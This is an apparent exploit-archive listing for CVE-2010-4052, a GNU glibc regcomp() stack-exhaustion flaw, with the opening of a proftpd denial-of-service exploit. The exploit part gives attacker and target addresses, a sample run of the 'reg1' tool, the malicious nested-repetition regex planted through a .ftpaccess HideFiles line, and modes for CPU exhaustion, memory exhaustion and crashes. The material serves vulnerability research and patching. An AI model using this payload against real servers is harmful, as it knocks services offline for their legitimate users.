Description

GNU glibc 'regcomp()' Stack Exhaustion Denial Of Service Vulnerability. CVE-2010-4052. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/45233/info

GNU glibc is prone to a denial-of-service vulnerability due to stack exhaustion.

Successful exploits will allow attackers to make the affected computer unresponsive, denying service to legitimate users.

This issue affects unknown versions of the glibc library. This BID will be updated when more details become available.

/* 

proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))

Tested: 
Ubuntu + proftpd

This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux

172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)

PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1

Try create .ftpaccess with HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .

send: USER cx
PASS password

send: stat .

Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused

Resume: 
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.


If we try

./reg1 172.16.124.134 21 cx password 172.16.124.1 3

any proftpd children will generate memory exhausion

Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})
